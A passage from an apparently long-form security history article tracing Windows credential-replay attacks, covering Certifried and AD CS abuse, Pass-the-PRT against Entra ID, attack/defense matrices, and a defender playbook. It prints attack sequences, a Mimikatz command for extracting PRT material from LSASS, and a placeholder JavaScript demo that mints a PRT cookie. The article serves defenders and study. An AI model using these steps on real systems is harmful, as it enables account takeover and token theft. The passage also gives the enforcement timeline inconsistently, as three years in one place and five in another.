[@almondoffsec-passthecert-github] [@almondoffsec-passthecert-blog], though the technique class was catalogued by Schroeder and Christensen eleven months earlier [@specterops-certified-pre-owned]. Tool of record: Certify (C#), Certipy (Python, ESC1-ESC16 [@certipy-wiki-privesc]), and Rubeus PKINIT mode. sequenceDiagram participant Atk as Attacker (user) participant CA as Enterprise CA participant KDC Atk->>CA: Enrol for template ESC1, SAN field set to Domain Administrator CA-->>Atk: X.509 certificate plus private key Note over Atk: Now holds a certificate naming the victim principal Atk->>KDC: AS-REQ with PKINIT pre-auth using the stolen private key KDC->>KDC: Validate certificate, map SAN to victim principal KDC-->>Atk: AS-REP with TGT for victim principal Atk->>KDC: TGS-REQ for any service KDC-->>Atk: TGS-REP service ticket

The CVE-class case lands on May 10, 2022. Oliver Lyak of IFCR discloses Certifried, CVE-2022-26923, an Active Directory Domain Services elevation-of-privilege vulnerability in which the combination of three Microsoft defaults -- ms-DS-MachineAccountQuota = 10 (any authenticated user can add up to 10 computer accounts to the domain), the default Machine template (which a computer account can enroll for), and the KDC's permissive dNSHostName-to-SAN binding logic -- lets any authenticated user obtain a certificate for any computer account in the forest, including domain controllers.

PKINIT-authenticate as a domain controller, and the KDC issues you a TGT for the DC; from there, DCSync extracts the krbtgt key and the domain is yours. Domain escalation from any authenticated user, with the only required misconfiguration being Microsoft's defaults [@nvd-cve-2022-26923] [@semperis-cve-2022-26923].

The defensive response shipped the same day. Microsoft published KB5014754 on May 10, 2022 -- coordinated disclosure, with the patch shipping in the same window as the CVE -- introducing a new X.509 extension szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) that carries the requesting principal's SID at certificate issuance.

The KDC's new strong-mapping logic refuses certificates that fail one of four conditions: the SID extension is present and matches; an issuer-serial mapping is present; a Subject Key Identifier mapping is present; or a SHA1-public-key mapping is present. The KB's load-bearing sentence: "In Full Enforcement mode, if a certificate fails the strong (secure) mapping criteria (see Certificate mappings), authentication will be denied." [@ms-kb5014754]

The KB5014754 change-log preserves a forensic artefact of the coordinated-disclosure timeline that is easy to miss. The current change-log row reads, verbatim: "9/10/2025 - Corrected the Enforcement mode date from September 10, 2025, to September 9, 2025." [@ms-kb5014754] An off-by-one date correction, captured in the public KB. The kind of detail that only shows up when a small team has had to ship a date repeatedly against a multi-year audit-to-enforcement schedule.

The enforcement timeline tells you how long even a CVE-class fix took to drive through deployment. Audit mode (May 10, 2022). Enforcement mode with a registry escape that admins could use to revert to compatibility (February 11, 2025). Final cutover with no escape (September 9, 2025) [@ms-kb5014754]. Three years and four months between the patch and the day Microsoft stopped accepting non-strong certificate mappings. Faster than the Credential Guard default-enablement window, but still measured in years.

The naming history deserves a disambiguation. The catalog -- ESC1 through ESC8, the full taxonomy of AD CS misconfigurations -- is Schroeder and Christensen, June 2021 [@specterops-certified-pre-owned]. The wire-level technique name "Pass-the-Certificate" is popularised by AlmondOffSec's PassTheCert PoC (Yannick Méheut, May 4, 2022), which targets LDAP/S via Schannel client-cert authentication when PKINIT is unavailable, as a fallback path for environments where domain controllers do not support certificate-based Kerberos pre-authentication [@almondoffsec-passthecert-github] [@almondoffsec-passthecert-blog]. The blog post documents the KDC_ERR_PADATA_TYPE_NOSUPP error path that diverts the PKINIT-blocked attacker into Schannel.

The AlmondOffSec blog post acknowledges the social attribution of the term: "Note for Googlers: this tool extends the notion of Pass the Certificate, thus dubbed by @_nwodtuhs in his Twitter thread on AD CS and PKINIT." [@almondoffsec-passthecert-blog] The technique name is socially attributed; the catalog framing is editorial.

Note: A common shorthand says that KB5014754 bound NTOWFs to Kerberos, and that this is what forced attackers to shift to certificates. That arrow runs backwards in time. KB5014754 is the response to Certifried, not the cause of Pass-the-Certificate. The technique class was catalogued by Schroeder and Christensen in June 2021, eleven months before KB5014754 shipped, and the PassTheCert tool that gave the technique its wire-level name appeared six days before Certifried's disclosure. The shift to certificates happened because certificates were the next long-term credential type Credential Guard did not isolate.

What does KB5014754 actually close? Three specific CVEs in the Certifried family: CVE-2022-26923 (the original SID-spoof Certifried disclosure), CVE-2022-26931 (UPN / sAMAccountName collision spoof), and CVE-2022-34691 (the certificate-pre-dating-account-creation case) [@ms-kb5014754]. What does it not close? The broader ESC2 through ESC8 catalog, which is administrative hardening rather than CVE-class control. And it does not close ESC9 through ESC16, which were enumerated after KB5014754 shipped and include cases like the CT_FLAG_NO_SECURITY_EXTENSION template flag that exempts a template from the very SID extension the patch introduced [@specterops-certs-patches-2022] [@certipy-wiki-privesc].

The current state of the catalog: as of the 2025 Certipy 5.x documentation, ESC1 through ESC16 is the practitioner enumeration, with each technique characterised by a template-level, ACL-level, CA-administrator-level, NTLM-relay-level, SID-extension-level, or mapping-level abuse primitive [@certipy-wiki-privesc]. Microsoft Defender for Identity's certificates posture assessment tracks nine distinct ESC numbers as of the 2025 documentation -- ten posture assessments, because ESC4 owner and ESC4 ACL are tracked as separate sub-cases (ESC1, ESC2, ESC3, ESC4 owner, ESC4 ACL, ESC6 preview, ESC7, ESC8, ESC11, ESC15) [@ms-defender-id-certs]. Same pattern as Pass-the-Hash in 2012-2014: documentation tells administrators what to do; the structural exposure is downstream of how each enterprise built its templates years earlier.

ESC ID	Class	Closed by KB5014754
ESC1	Template -- enrollee supplies SAN, client-auth EKU, permissive enrollment	Partial: SID extension binds requester at issuance; ESC1 still works if the SID extension is absent
ESC2	Template -- enrollee supplies SAN, Any-Purpose or no EKU	No -- administrative hardening
ESC3	Template -- Certificate Request Agent enrollment-agent abuse	No -- administrative hardening
ESC4	ACL -- writeable template configuration	No -- administrative hardening
ESC6	CA -- `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set on the CA	No -- CA-level hardening (was MS22-23, separately patched)
ESC8	NTLM relay -- HTTP enrolment endpoints reachable from low-privilege contexts	No -- relay-defence hardening
ESC9	Template -- `CT_FLAG_NO_SECURITY_EXTENSION` exempts template from the SID extension	No -- by design
ESC11	NTLM relay -- ICPR RPC endpoint without sign / seal	No -- relay-defence hardening
ESC16	CA -- security-extension disabled at the CA level	No -- CA-level hardening

Table 1. A representative slice of the ESC1-ESC16 catalog showing what KB5014754 closes and what remains administrative hardening [@specterops-certify-wiki] [@certipy-wiki-privesc] [@specterops-certs-patches-2022].

KB5014754 is a CVE-class fix for one sub-case. The broader ADCS catalog is administrative hardening. And the next credential type -- the one that defeats Credential Guard, Protected Users, and KB5014754 simultaneously -- was already shipping in commodity Mimikatz code by August 2020.

8. Pass-the-PRT: The CloudAP Frontier

By August 2020, Microsoft had two architectural defenses against credential replay that the security industry actually trusted: Credential Guard for local Active Directory credentials, and (eighteen months later) KB5014754 for the certificate-replay class. Then a Dutch security researcher named Dirk-jan Mollema published a 21-minute read that broke both, in the same paragraph, by stealing a different credential type.

The credential is the Primary Refresh Token. The two foundational write-ups are Mollema's "Abusing Azure AD SSO with the Primary Refresh Token" [@mollema-prt-abusing] and its follow-on "Digging further into the Primary Refresh Token" [@mollema-prt-digging], both posted in August 2020. The second post is the single most-cited primary source in the fifth generation of the family. Read it once and you understand why Pass-the-PRT is structurally different from everything that came before.

A PRT is an opaque refresh-token artifact issued by Microsoft Entra ID (formerly Azure AD) to a broker on Entra-joined or Hybrid-joined Windows devices, paired with a session key (an HMAC-SHA256 secret) used for proof-of-possession and bound to the device keys registered at device join.

The Microsoft Entra documentation describes the artefact precisely: "A Primary Refresh Token (PRT) is a key artifact of Microsoft Entra authentication ... Once issued, a PRT is valid for 90 days and is continuously renewed as long as the user actively uses the device." [@ms-entra-concept-prt] On Windows the PRT is renewed every four hours during sign-in. The device-key registration binds the PRT to the device that owns it -- and is what an attacker has to work around to use a stolen PRT on a different device.

The Microsoft Entra-issued long-lived refresh token for SSO on Entra-joined or Hybrid-joined Windows devices. Carries a session key (HMAC-SHA256) used to sign per-request `x-ms-RefreshTokenCredential` cookies, and binds to a device transport key registered at device join. Default lifetime is 90 days with sliding renewal as long as the user actively uses the device; an inactivity timeout governs when an idle PRT must be re-acquired [@ms-entra-concept-prt]. The PRT is the load-bearing artefact for Single Sign-On to every Entra-integrated resource the device's user can reach.

The PRT default lifetime is 90 days per the Microsoft Entra documentation, with renewal every four hours during Windows sign-in [@ms-entra-concept-prt]. The 14-day figure that sometimes appears in secondary references is the inactivity timeout on certain device states, not the PRT lifetime itself; this article uses the Microsoft Entra documentation's value to avoid the conflation.

Where the PRT lives is what makes the rest of the architecture work -- and what makes it vulnerable. The PRT is hybrid: issued and revoked cloud-side by Entra ID, stored and used client-side via the CloudAP authentication plug-in, which is loaded into LSASS like any other Windows authentication package.

The load-bearing structural fact is that CloudAP is in LSASS, not behind the LSAISO trustlet. Credential Guard's classical isolation does not extend to the CloudAP plug-in's working memory, because Credential Guard's scope is the three credential categories its design predates -- NT hashes, Kerberos TGTs, and "domain credentials" -- and the PRT is none of those [@mollema-prt-abusing].

The Windows authentication package (`cloudap.dll`, loaded into LSASS) that handles authentication against Microsoft Entra ID for Entra-joined and Hybrid-joined devices. Holds the device's Primary Refresh Token, its session key, and the derived material used to sign per-request PRT cookies. Sits inside LSASS in VTL0, *not* inside the LSAISO trustlet in VTL1; Credential Guard does not currently extend its isolation to CloudAP's working memory.

The mechanism, as Mollema and Delpy developed it through the second half of 2020, runs as follows. Mimikatz dpapi::cloudapkd /unprotect extracts the PRT (the encrypted-by-Entra refresh-token blob) and the session key from CloudAP's working memory.

The attacker constructs an x-ms-RefreshTokenCredential JWT carrying the PRT in the refresh_token claim, is_primary: true, and a request_nonce obtained by an unauthenticated POST against the Entra ID v1 token endpoint at https://login.microsoftonline.com/common/oauth2/token with form-encoded body grant_type=srv_challenge (the server-challenge nonce pattern used by the ROADtools roadtx prt reference implementation; the response is a JSON object with a Nonce field). The signature is HMAC-SHA256 over the JWT under the session key. The completed cookie is presented to login.microsoftonline.com from any machine, and Entra ID returns access and refresh tokens for any resource the original user can reach. Mollema's second post describes the collaboration that built the tooling:

Around the same time Benjamin Delpy took up my 'challenge' of recovering PRT data from `lsass` with mimikatz. We combined forces and ended up with tooling that is not only able to extract the PRT and associated cryptographic keys (such as the session key) from memory, but can also use these keys to create new SSO cookies or modify existing ones. -- Dirk-jan Mollema, *Digging further into the Primary Refresh Token* [@mollema-prt-digging]

The operational tooling closed quickly. Mollema's roadtx prt (part of ROADtools [@roadtools-github]) automates the full chain end-to-end -- extract the material, mint the cookie, complete the OAuth dance, hand the attacker an access token. The Mimikatz dpapi::cloudapkd command landed in the open-source repository the same window. Pass-the-PRT moved from research artefact to commodity tooling in months, not years.

sequenceDiagram participant Victim as Victim device (Entra-joined) participant Attacker as Attacker device participant Entra as login.microsoftonline.com Note over Victim: PRT plus session key held by CloudAP in LSASS Attacker->>Victim: mimikatz dpapi::cloudapkd /unprotect Victim-->>Attacker: PRT (encrypted blob) plus session key Attacker->>Entra: POST /common/oauth2/token grant_type=srv_challenge (unauthenticated) Entra-->>Attacker: request_nonce Note over Attacker: Build x-ms-RefreshTokenCredential JWT Note over Attacker: Sign HMAC-SHA256 with extracted session key Attacker->>Entra: POST /token with PRT cookie Entra-->>Attacker: Access and refresh tokens Attacker->>Attacker: Authenticate to any Entra resource as victim user

Now the analytical core. Pass-the-PRT defeats three Microsoft defenses simultaneously.

First, Credential Guard is out of scope. The CloudAP material is not an NT hash, not a Kerberos TGT, and not "credentials stored by applications as domain credentials" in the verbatim sense the Credential Guard documentation uses. Credential Guard's VBS-based isolation does not extend to CloudAP. The defense was designed in 2015 against the three credential types the family had then; the PRT is a credential type the family had not yet evolved into [@ms-learn-credential-guard].

Second, KB5014754 is out of scope. The PRT cookie does not traverse the KDC's certificate-mapping logic at all; it is a JWT signed by an HMAC and authenticated at the Entra ID token endpoint. The strong certificate mapping that Microsoft drove through five years of audit-to-enforcement timeline has no relevance to a credential that never touches the KDC [@ms-kb5014754].

Third, Protected Users is out of scope. Protected Users is an Active-Directory-only construct, enforced on Windows Server domain controllers and on AD-joined member devices. Entra ID is a separate identity provider with separate enforcement; the 240-minute TGT cap, the NTLM ban, and the RC4 ban that Protected Users enforces simply do not apply [@ms-protected-users].

The TPM-sealing finding is where the architectural pattern becomes most precise. Microsoft began sealing the PRT session key to a TPM-bound key on TPM-2.0-eligible hardware -- a defense that, in principle, makes the raw session key cryptographically non-exportable. Mollema's finding in the August 2020 second post is that the seal does not close the attack, because CloudAP holds derived PRT-cookie-signing material in its own working memory in LSASS, and the attacker only needs the derived material:

despite the session key of the PRT is stored in the TPM whenever possible, this doesn't prevent us from extracting the PRT and the required information to create SSO cookies. The result of this is that regardless of whether the PRT is protected by the TPM or not, with Administrator access it is possible to extract the PRT from LSASS and use the PRT on a different device than it was issued to. -- Dirk-jan Mollema, *Digging further into the Primary Refresh Token* [@mollema-prt-digging]

The structural reason the standard hardware-rooted defense pattern does not transfer: the attacker does not need the raw session key out of the TPM. They need only the in-memory derived material CloudAP itself uses to sign the cookies, and that derived material lives in the same address space Credential Guard does not isolate.

The TPM seals the key. CloudAP uses the key. Whatever CloudAP can read, an attacker with administrator and a memory-access primitive can also read. The defense pattern that worked for NT hashes (move them out of the address space) has not been applied to CloudAP -- and until it is, the TPM seal is a speed bump rather than a wall.

{` // Pedagogical demonstration of the JWT structure used in Pass-the-PRT // cookie minting. Uses placeholder values throughout; no real PRT material.

const base64url = (buf) => Buffer.from(buf).toString('base64') .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_');

const header = { alg: 'HS256', ctx: 'AAAAAAAA' }; const payload = { // The PRT itself, an opaque refresh-token string Entra issued to the // device. In a real attack this comes from mimikatz dpapi::cloudapkd. refresh_token: 'AQABAAAAAAA...redacted...', // Marks this cookie as a primary refresh token cookie. is_primary: 'true', // Fresh nonce from an unauthenticated POST against the v1 token endpoint // at login.microsoftonline.com/common/oauth2/token with form body // grant_type=srv_challenge (returns JSON with Nonce field; the canonical // server-challenge pattern used by ROADtools roadtx prt). request_nonce: 'AwABAAEAAAAC...', iat: Math.floor(Date.now() / 1000), };

// HMAC-SHA256 over the JWT under the session key recovered from CloudAP. // Placeholder key for demonstration only. const sessionKey = Buffer.alloc(32); // 32 bytes of zeros (fake) const crypto = require('crypto');

const h = base64url(JSON.stringify(header)); const p = base64url(JSON.stringify(payload)); const sig = base64url( crypto.createHmac('sha256', sessionKey).update(h + '.' + p).digest() );

console.log('Header segment: ' + h); console.log('Payload segment: ' + p); console.log('Signature segment: ' + sig); console.log(); console.log('Full PRT cookie: ' + h + '.' + p + '.' + sig); // In a real attack the attacker would now POST this as the // x-ms-RefreshTokenCredential cookie to login.microsoftonline.com. `}

The current partial mitigations are worth enumerating, because none of them closes the gap.

Token Protection (a Conditional Access session control) attempts to ensure that only device-bound sign-in session tokens are accepted at the Entra ID token endpoint for protected resources. The Microsoft Learn page is explicit about both the design intent and the deployment limits: "Token Protection is a Conditional Access session control that attempts to reduce token replay attacks by ensuring only device bound sign-in session tokens, like Primary Refresh Tokens (PRTs), are accepted by Microsoft Entra ID when applications request access to protected resources." [@ms-entra-token-protection] As of the current documentation the supported resources are five named applications: Exchange Online, SharePoint Online, Microsoft Teams, Azure Virtual Desktop, and Windows 365. Browser applications are out of scope; "Token Protection currently supports native applications only. Browser-based applications are not supported." [@ms-entra-token-protection] Most Entra-integrated SaaS is unbound.

Continuous Access Evaluation (CAE) shortens the window during which a stolen PRT is operationally usable, by allowing the token endpoint to revoke tokens within minutes of a triggering signal (password change, risk-based detection, conditional-access policy update) [@ms-entra-cae]. CAE is evaluation-time, not isolation. It shortens the window between extraction and detection-driven revocation; it does not prevent extraction.

Hybrid-joined PRT renewal binding partially closes the cross-tenant case for hybrid Azure AD Join configurations, but does not address the same-tenant Pass-the-PRT case that Mollema's original 2020 posts described [@ms-entra-hybrid-join-plan].

The institutional acknowledgment of the supersession pattern is the verbatim Microsoft Learn sentence already quoted in section 6 [@ms-learn-credential-guard]: written about the 2015 Credential Guard architecture, it accurately predicts the 2020 Pass-the-PRT shift. The credential-replay family has reached the point where every Microsoft defense in the on-prem stack runs in parallel against an attack the on-prem stack cannot reach.

Key idea: Pass-the-PRT defeats Credential Guard, KB5014754, and Protected Users simultaneously because each defense was designed around a different long-term artefact, and the PRT is none of them. The architectural property -- a long-term authentication artefact reachable from the using process is replayable -- is unchanged. The artefact moved.

Six years after Mollema's disclosure, the TPM-resilience finding still holds. The CloudAP plug-in is still in LSASS. Credential Guard still does not extend its boundary. Pass-the-PRT remains the operational frontier in 2026.

9. The 5x5 Matrix and the Irregular Cadence

Five generations of attack. Five generations of defense. They map onto each other unevenly; the gaps are not five years.

The matrix below consolidates the lineage at a glance. Rows are the attack generations (in the order they entered the practitioner literature). Columns are the defense generations (in the order they shipped). Each cell records whether that defense closes that attack on a fully-deployed hardware-eligible 2026 Windows 11 endpoint with the control turned on. "Closed" means the attack returns empty buffers or fails authentication; "Partial" means the defense increases attacker cost or closes one sub-case; "Open" means the defense's design scope does not include that attack.

Attack \ Defense	Mitigating-PtH whitepapers (2012/2014)	Protected Users + RunAsPPL + Restricted Admin (2013-2014)	Credential Guard / LSAISO (2015)	KB5014754 strong mapping (2022)	Token Protection + CAE (2023-2025)
Pass-the-Hash (Ashton 1997, Ochoa 2008)	Open (documentation)	Partial (Protected Users members)	Closed (on enabled endpoints)	Open (not in scope)	Open (not in scope)
Pass-the-Ticket (Delpy 2011, Duckwall+Delpy 2014)	Open (documentation)	Partial (4-hour TGT cap for Protected Users)	Closed (TGT session key in LSAISO)	Open (not in scope)	Open (not in scope)
Overpass-the-Hash (Delpy / Metcalf 2014)	Open (documentation)	Partial (RC4 banned for Protected Users)	Closed (NT hash in LSAISO)	Open (not in scope)	Open (not in scope)
Pass-the-Certificate (Schroeder + Christensen 2021, Méheut 2022)	Open (documentation)	Open (cert keys outside scope)	Open (cert keys outside scope)	Partial (closes Certifried sub-case; ESC2-ESC16 remain)	Open (not in scope)
Pass-the-PRT (Mollema + Delpy 2020)	Open (Entra ID is separate IDP)	Open (Entra ID is separate IDP)	Open (CloudAP not in LSAISO)	Open (not in scope)	Partial (5 named resources; browser apps out of scope)

Table 2. The 5x5 attack/defense matrix. The union of every cell in the rightmost column of "Closed" entries is the set of attacks Microsoft's published 2026 defenses close on hardware-eligible non-DC endpoints with every control turned on; that set is precisely the first three rows.

The matrix makes the structure visible. No single defense closes all attacks, and no single attack is closed by all defenses. The union of every defense closes Pass-the-Hash, Pass-the-Ticket, and Overpass-the-Hash on hardware-eligible non-DC Windows 10/11 systems with all controls enabled. It partially closes Pass-the-Certificate (for the Certifried sub-case) and partially closes Pass-the-PRT (for five named resources). Both of the most recent generations remain operationally open against any deployment that does not run those specific controls -- which is most deployments.

The cadence is just as uneven as the matrix. The original input that prompted this article claimed "every Windows defense against credential replay buys about five years before the attack class evolves to the next credential type." Memorable. Also wrong. The actual timeline produces gaps from eleven months to eleven years, with one negative interval:

1997 -> 2008 (eleven years) for the Samba-patch -> Windows-native pivot. Pass-the-Hash existed for over a decade as a Unix-side novelty before Ochoa's LSASS-injection insight made it Windows-native.
2008 -> 2011 (three years) for the Mimikatz Pass-the-Ticket extension. The same memory-access primitive that animated IAM.EXE was retargeted at a different artefact.
2012/2014 -> 2015 (one to three years) for the Mitigating-PtH whitepapers -> Credential Guard pivot. Documentation took a year and a half to ship; the architectural counter took another.
2021 -> 2022 (eleven months) for the AD CS catalog -> KB5014754 response. Coordinated disclosure compressed this gap; Certifried's CVE-class status forced a CVE-class response.
2020 -> 2025+ (open-ended) for Pass-the-PRT with no Credential-Guard-equivalent shipped. As of the Windows 11 25H2 cycle there is no public roadmap for VBS-class isolation of CloudAP material.

The most striking gap is the 2020/2021 negative interval. Pass-the-PRT (Mollema, August 2020) and the AD CS catalog (Schroeder + Christensen, June 2021) are siblings rather than sequential; Pass-the-PRT predates Pass-the-Certificate as a named technique by ten months, even though the article treats them as Generation 4 and Generation 5 in narrative order. The Generation N -> N+1 framing is taxonomic, not strictly chronological. The reader needs this distinction to read the lineage accurately: the attack class evolves along the architectural property, not along the calendar.

Note: The "every Windows defense buys five years" framing is what you see if you select the cleanest pairings (Mitigating-PtH 2012/2014 to Credential Guard 2015 plus an artificial 2020-targeted "next attack"). When you look at the actual intervals, you see eleven years (1997-2008), three years (2008-2011), eleven months (2021-2022), and an open-ended interval (2020 onwards). The pattern is the architectural property persisting across artefact changes, not a calendar drumbeat.

The storage-class progression is the cleanest way to see the property hold across the lineage. Each row names the long-term artefact, where it lives, and which defense moved or shielded that storage class.

Generation	Long-term artefact	Storage location	Defense that isolated it	Status 2026
1A (1997 Samba)	NT hash (and LM hash)	Attacker-supplied hash (Samba `smbpasswd`)	"Do not store LAN Manager hash" policy (Vista default-on); SAM hash extraction still works	LM hash retired; NT hash extraction still works
1B (2008 Windows-native)	NT hash	LSASS credential cache	Credential Guard relocates to LSAISO	Closed on Credential-Guard-enabled endpoints
2 (2011 Mimikatz)	Kerberos TGT plus session key	LSASS Kerberos package	Credential Guard relocates to LSAISO	Closed on Credential-Guard-enabled endpoints
3 (2014)	NT hash promoted to RC4-HMAC Kerberos key	LSASS, same buffer as Pass-the-Hash	Credential Guard relocates to LSAISO; KB5021131 makes AES the default	Closed on Credential-Guard-enabled endpoints; RC4 deprecated in favour of AES [@ms-kb5021131]
4 (2021 AD CS catalog)	X.509 certificate private key	CryptoAPI key container, TPM, or smart card	TPM-resident or VSC-resident keys are cryptographically non-exportable; KB5014754 binds certificates to SIDs at issuance	Partial; ESC2-ESC16 misconfigurations remain administrative hardening
5 (2020 Pass-the-PRT)	PRT session key plus derived signing material	CloudAP plug-in in LSASS (session key optionally TPM-sealed)	None deployed; Token Protection partially shields five resources	Open

Table 3. Storage-class progression. Each attack generation targets the next long-term artefact whose storage location is not isolated by the previous generation's defense.

The matrix and the storage-class table jointly produce the structural prediction: each generation shifts to the next available long-term artefact whose storage class the latest defense does not isolate. The graph-based formalisation of these storage-class transitions is the BloodHound edge catalog -- the HasSession, AdminTo, and CanRDP family that operationalises "which principal can reach which credential from where" as a queryable property of an enterprise's directory [@bloodhound-edges]. The pattern predicts a Generation 6 outside whatever isolation scope arrives next.

The most credible candidate today is Pass-the-DeviceKey: extraction or abuse of the device transport key the PRT binds to, or of the CloudAP-derived material the cookie-signing process produces from it [@mollema-prt-phishing]. Mollema's 2023-2025 continuation work documents the underlying device-transport-key primitives in detail; the September 2025 Actor-tokens disclosure (CVE-2025-55241) demonstrated a fully operational cross-tenant impersonation primitive, responsibly disclosed and patched before any in-the-wild abuse, an adjacent cloud-token-validation failure rather than a device-key primitive [@mollema-actor-tokens] [@mollema-federated-credentials].

flowchart TD A1[Pass-the-Hash 1A Samba
Ashton 1997] A2[Pass-the-Hash 1B Windows-native
Ochoa 2008] A3[Pass-the-Ticket
Delpy 2011] A4[Overpass-the-Hash
Delpy / Metcalf 2014] A5[Pass-the-Certificate
Schroeder + Christensen 2021] A6[Pass-the-PRT
Mollema + Delpy 2020] A7[Pass-the-DeviceKey forecast] D1[Mitigating-PtH whitepapers
v1 2012, v2 2014] D2[Protected Users + RunAsPPL + Restricted Admin
2013-2014] D3[Credential Guard / LSAISO
2015, default 2022] D4[KB5014754 strong mapping
2022, enforced 2025] D5[Token Protection + CAE
2023-2025] D6[CloudAP isolation forecast] A1 --> A2 A2 --> A3 A3 --> A4 A4 --> A5 A4 --> A6 A6 --> A7 D1 --> D2 D2 --> D3 D3 --> D4 D4 --> D5 D5 -.- D6 A2 -.- D1 A2 -.- D2 A3 -.- D3 A4 -.- D3 A5 -.- D4 A6 -.- D5 A7 -.- D6

If the pattern holds, Generation 6 is already in research literature. Mollema's 2023-2025 continuation work [@mollema-prt-phishing] [@mollema-federated-credentials] [@mollema-actor-tokens] documents the device-transport-key extraction primitives. The only things missing are the name and the commodity tool. The historical pattern says we probably get both before VBS-class CloudAP isolation ships.

10. Open Problems and the 2026-2030 Forecast

The credential-replay family has six load-bearing open problems in 2026. Each is structural rather than mathematical; the cryptographic primitives that would close them already exist.

The architectural lower bound -- the only configuration that closes the family in principle -- is the union of three things.

Universal hardware-rooted non-extractable keys: every long-term authentication artefact lives in a TPM, secure enclave, FIDO2 authenticator, or smart card, with key attestation, and is never released to software memory. Universal protocol-layer token binding: every issued token (Kerberos service ticket, OAuth refresh token, OIDC ID token, SAML assertion) is cryptographically bound to the device that requested it, and a verifier rejects any presentation from a non-bound device. Universal continuous evaluation: every protected resource queries the issuer in near-real-time and revokes within minutes of a triggering signal. Each component is deployed somewhere; none is deployed everywhere; no single vendor controls all three layers.

The five concrete open problems flow from the lower bound.

The CloudAP isolation problem. When does Microsoft extend VBS-class isolation to the CloudAP plug-in's working memory in LSASS? No public roadmap as of 2026. Until it ships, Pass-the-PRT remains operationally open against every Entra-joined Windows endpoint.

The token-binding adoption problem. Token Protection's verbatim 2026 scope is the five named resources enumerated in section 8 [@ms-entra-token-protection], which covers approximately five percent of typical Entra-integrated SaaS surface area; every other Entra-integrated resource accepts unbound tokens. The OAuth working group's RFC 9449 (DPoP, September 2023) standardises proof-of-possession at the OAuth layer [@rfc-9449], but adoption across SaaS providers and enterprise applications is uneven.

The Pass-the-DeviceKey forecast. Mollema's 2023-2025 continuation work exercises device-transport-key extraction primitives, federated-credential persistence on Entra applications, and cross-tenant Actor-token abuse [@mollema-prt-phishing] [@mollema-federated-credentials] [@mollema-actor-tokens]. The pattern of every previous generation predicts that whichever of these primitives commoditises first will be the next named "Pass-the-X" technique.

The ESC9-ESC16 hardening problem. The AD CS catalog has grown from 8 entries (June 2021) to 16 (current Certipy and Certify wikis [@certipy-wiki-privesc] [@specterops-certify-wiki]); most additions are misconfiguration-class rather than CVE-class. ESC9 specifically describes the CT_FLAG_NO_SECURITY_EXTENSION template flag that exempts a template from the very SID extension KB5014754 introduced -- so administrators who turn that flag on for legacy compatibility reasons silently re-enable the Certifried-class abuse path on those templates.

Hardware-backed identity ubiquity. When does the union of Pluton + FIDO2 + virtual smart cards + TPM key attestation eliminate the long-term software-extractable artefact class? Human interactive sign-in to Entra ID can already be fully passwordless on supported hardware. The long tail of service accounts, scheduled tasks, on-prem AD workflows, and legacy applications resists migration; the migration is a years-long enterprise project, not a feature flag.

The non-Microsoft sibling lineages. The credential-replay family is not Windows-specific. Okta session-cookie theft, Google IDP refresh-token reuse, Apple ASWebAuthSession token replay, and AWS STS session-token theft all face the same architectural property. An enterprise running Microsoft plus Okta plus Google inherits the union of every vendor's residual replay surface. The family generalises beyond Microsoft because the architectural property generalises beyond Microsoft.

Okta's `sessionToken` and OAuth `refresh_token` artefacts live on the device that requested them, and have been used in commodity offensive tooling since at least 2022. Google's IDP refresh tokens face the same exposure surface on managed Chromebooks. Apple's ASWebAuthSession tokens are device-bound at the platform level, which closes the cross-device replay case but not the same-device extraction case. AWS STS session tokens are not device-bound at all. The credential-replay family is a property of long-term software-extractable authentication artefacts in general; this article is Windows-specific only because Windows has the longest documented lineage.

The institutional position is that the protocol-level fix is unavailable -- Microsoft's framing of Pass-the-Hash as a structural property of NTLM generalises directly to every later generation. A universal fix would require replacing every long-term software-extractable artefact globally with hardware-bound primitives, with mandatory token binding at every issuer and every resource server, with continuous evaluation everywhere. Each step is incrementally closable; the union has not yet closed for any deployment.

Note: Universal hardware-rooted non-extractable keys, universal protocol-layer token binding, universal continuous evaluation. Each component is deployed somewhere; none is deployed everywhere. No single vendor controls all three layers.

The architectural property the family shares has held for twenty-nine years; the defensive lineage will not close it without making every long-term artefact live in hardware-rooted isolation that exceeds the host's privilege. Whether that happens in the next five years, the next ten, or the next twenty-five, is the open question the next chapter of this lineage will answer.

11. The 2026 Defender Playbook

Architectural humility does not mean defensive passivity. The 2026 estate is defensible against generations 1 through 3 and partially against generation 4; the playbook is to deploy every available control while reading Mollema's 2025 posts to know what's coming for generation 5 and beyond.

Credential Guard everywhere it can run. Hardware-eligible non-DC Windows 10/11 endpoints, with the four-residual disclosure (AD database, DCs, certificate keys, CloudAP) documented for the SOC so that detection engineering does not assume Credential Guard covers categories it explicitly excludes [@ms-learn-credential-guard].
LSA Protection (RunAsPPL), UEFI-anchored stacked underneath, per itm4n's "complementary" framing [@itm4n-lsass-runasppl]. The UEFI-anchored variant resists the registry-based bypass that a kernel-mode attacker can otherwise apply at boot.
Authentication Silos and Protected Users for Tier-0 accounts. Expect to encounter unconstrained-delegation breakage on legacy services and budget remediation; the 240-minute TGT cap is the lever that prevents long-lived Tier-0 ticket reuse [@ms-protected-users].
KB5014754 strong-mapping enforcement -- fully on by the September 9, 2025 cutover -- plus an annual certificate-template audit cycle against the ESC1-ESC16 catalog using Certipy or PSPKIAudit [@ms-kb5014754] [@certipy-wiki-privesc]. The audit is the load-bearing control because the strong-mapping fix only closes Certifried-class abuses; the template misconfigurations Schroeder and Christensen catalogued are still administrative responsibility.
Conditional Access with Token Protection where supported -- the five resources Microsoft Learn enumerates [@ms-entra-token-protection]. Device-bound sign-ins for privileged accounts; FIDO2 for human interactive sign-in. Know that the long tail of Entra-integrated SaaS does not enforce binding, and that a stolen PRT used against an unbound resource will still authenticate.
PRT-extraction telemetry. Detect CloudAP-plug-in token access from non-CloudAP processes; tie to Endpoint DLP; alert on out-of-band access to cloudap.dll-owned regions of LSASS memory. Mollema's roadtx and BARK produce signal patterns worth modelling.
Mental model: assume the PRT is the next NT hash. Architect today as if Credential Guard for CloudAP shipped tomorrow -- which means TPM-attested device joins as standard, FIDO2 for every human sign-in, hardware-backed identity for service accounts wherever the vendor supports it, and conditional access policies that treat unmanaged or non-attested devices as untrusted by default.

Open PowerShell as administrator and run:

Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Format-List

